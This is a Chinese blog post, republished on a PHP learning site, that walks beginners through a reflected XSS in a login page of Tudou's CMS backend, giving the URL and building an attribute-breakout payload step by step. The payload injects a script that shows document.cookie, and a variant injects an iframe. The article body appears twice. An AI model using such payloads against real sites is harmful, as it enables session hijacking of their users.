网站地图    收藏   

主页 > 后端 > 网站安全 >

土豆网某反射型XSS详细分析 - 网站安全 - 自学p

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 外面下大雪,奶奶的,哪里想起来上课咯。。。冷的老子要死,我操上午三四节课打酱油路过之后吃完东西回到寝室。。网络小新发了我个土豆的后台,说我xss。我觉得这后台真JB有意思...

外面下大雪,奶奶的,哪里想起来上课咯。。。
冷的老子要死,我操
 上午三四节课打酱油路过之后吃完东西回到寝室。。
网络小新发了我个土豆的后台,说我xss。我觉得这后台真JB有意思
这里感谢下小新哈。。。我博客的空间也是小新赞助的,嘿嘿 。。。
 http://cms.tudou.com/center/system/login.do
很明显,开源的cms。。。。
那么。。我们右键查看源码
 
截图可能不太清楚,我这里复制下
<label>用户名:</label><input type="text" name="userName" value="" id="userName"/>
用户名的value值我们是可控的。。。
那么。构造语句。 <input>标签开始分析下。
 <input type="text" name="userName" value="" "id="userName"/>
value='' "

两个" "之间是我们写的东西
下面这么来,弹出个cookie。。(现在不是都喜欢这么来嘛 )
先把前面的<input闭合下,我这里填入1" >
<input type="text" name="userName" value=" 1" > " id="userName"/>
OK
,这样就闭合了前面的input标签了
那么还剩下一段 " id="userName"/>
我们可以在中间随意的注入上我们的html代码了
这样<script>alert(document.cookie)</script>
那么。就会弹出我们想要的东东了。后面剩下的 "id="userName"/> 会作为字符串显示在网页上、
这样




 "id="userName"/>
被显示在了网页上了、
那么,继续把它构造完整吧。。
先整理下现在的语句。

<input type="text" name="userName" value=" 1" > <script>alert(document.cookie)</script> " id="userName"/>

</script>这里。。前面都构造的比较完美。
我们看看后面,
那么接下来我们想个东西来接上剩下的 " id="userName"/>
也就是
现在的关键只要连上这个 " OK
这样吧。。我重新加个<input>标签
这样
<input type=”text" value="猴子好可怜
那么。连上后面的" id="userName"/>
整个语句也就是
<input type=”text" value="猴子好可怜 " id="userName"/>
 
很完美的构造好了
效果是多了一行框,里面的值是猴子好可怜,现在后面不会有错误了。我们来看看

查看下源码

整条语句
用户名:</label><input type="text" name="userName" value="1"><script>alert(document.cookie)</script><input type="text" value="猴子JJ" id="userName"/>
我们插入的是
1"><script>alert(document.cookie)</script><input type="text" value="猴子JJ

当然了,在<script>这你也可以写其他的HTML标签,这个随意的只要正确就OK的、比如这里插入个网页的。用iframe
1"><iframe src="http:// www.2cto.com " width="500" hight="500"><input type="text" value="猴子JJ

iframe的时候记得定义宽度和高度。不然不显示的
之所以说这个后台有意思
用户名这个input标签没有定义长度。所以说可以任意长度,最多不超过255就行,(好像是255)

反射型的XSS危害没有存储型的XSS危害大这个大家都知道
存储型的有些可以发展成蠕虫。(关键是看管理员的过滤),这里大学城某地方就是一个很好的例子
本篇是写给从来没接触过xss的兄弟,我觉得是个很好的例子,又没啥危害啥的。而且我感觉可以讲的比较详细,所以就拿出来讲了
只要你认真看完,就会觉得文章的精彩

之前我对XSS也没有过多的看中,没啥研究,自从上次从深圳回来,发现数据流和街球以及一些基友说现在XSS比较普遍和恼火,所以才开始重视对xss的研究。

我还是个新手,希望xss大神能多多带我下。。。。小弟感激不尽呀。。~以身相许、


外面下大雪,奶奶的,哪里想起来上课咯。。。
冷的老子要死,我操
 上午三四节课打酱油路过之后吃完东西回到寝室。。
网络小新发了我个土豆的后台,说我xss。我觉得这后台真JB有意思
这里感谢下小新哈。。。我博客的空间也是小新赞助的,嘿嘿 。。。
 http://cms.tudou.com/center/system/login.do
很明显,开源的cms。。。。
那么。。我们右键查看源码
 
截图可能不太清楚,我这里复制下
<label>用户名:</label><input type="text" name="userName" value="" id="userName"/>
用户名的value值我们是可控的。。。
那么。构造语句。 <input>标签开始分析下。
 <input type="text" name="userName" value="" "id="userName"/>
value='' "

两个" "之间是我们写的东西
下面这么来,弹出个cookie。。(现在不是都喜欢这么来嘛 )
先把前面的<input闭合下,我这里填入1" >
<input type="text" name="userName" value=" 1" > " id="userName"/>
OK
,这样就闭合了前面的input标签了
那么还剩下一段 " id="userName"/>
我们可以在中间随意的注入上我们的html代码了
这样<script>alert(document.cookie)</script>
那么。就会弹出我们想要的东东了。后面剩下的 "id="userName"/> 会作为字符串显示在网页上、
这样




 "id="userName"/>
被显示在了网页上了、
那么,继续把它构造完整吧。。
先整理下现在的语句。

<input type="text" name="userName" value=" 1" > <script>alert(document.cookie)</script> " id="userName"/>

</script>这里。。前面都构造的比较完美。
我们看看后面,
那么接下来我们想个东西来接上剩下的 " id="userName"/>
也就是
现在的关键只要连上这个 " OK
这样吧。。我重新加个<input>标签
这样
<input type=”text" value="猴子好可怜
那么。连上后面的" id="userName"/>
整个语句也就是
<input type=”text" value="猴子好可怜 " id="userName"/>
 
很完美的构造好了
效果是多了一行框,里面的值是猴子好可怜,现在后面不会有错误了。我们来看看

查看下源码

整条语句
用户名:</label><input type="text" name="userName" value="1"><script>alert(document.cookie)</script><input type="text" value="猴子JJ" id="userName"/>
我们插入的是
1"><script>alert(document.cookie)</script><input type="text" value="猴子JJ

当然了,在<script>这你也可以写其他的HTML标签,这个随意的只要正确就OK的、比如这里插入个网页的。用iframe
1"><iframe src="http://www.sbmonkey.com" width="500" hight="500"><input type="text" value="猴子JJ

iframe的时候记得定义宽度和高度。不然不显示的
之所以说这个后台有意思
用户名这个input标签没有定义长度。所以说可以任意长度,最多不超过255就行,(好像是255)

反射型的XSS危害没有存储型的XSS危害大这个大家都知道
存储型的有些可以发展成蠕虫。(关键是看管理员的过滤),这里大学城某地方就是一个很好的例子
本篇是写给从来没接触过xss的兄弟,我觉得是个很好的例子,又没啥危害啥的。而且我感觉可以讲的比较详细,所以就拿出来讲了
只要你认真看完,就会觉得文章的精彩

之前我对XSS也没有过多的看中,没啥研究,自从上次从深圳回来,发现数据流和街球以及一些基友说现在XSS比较普遍和恼火,所以才开始重视对xss的研究。

我还是个新手,希望xss大神能多多带我下。。。。小弟感激不尽呀。。~以身相许

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论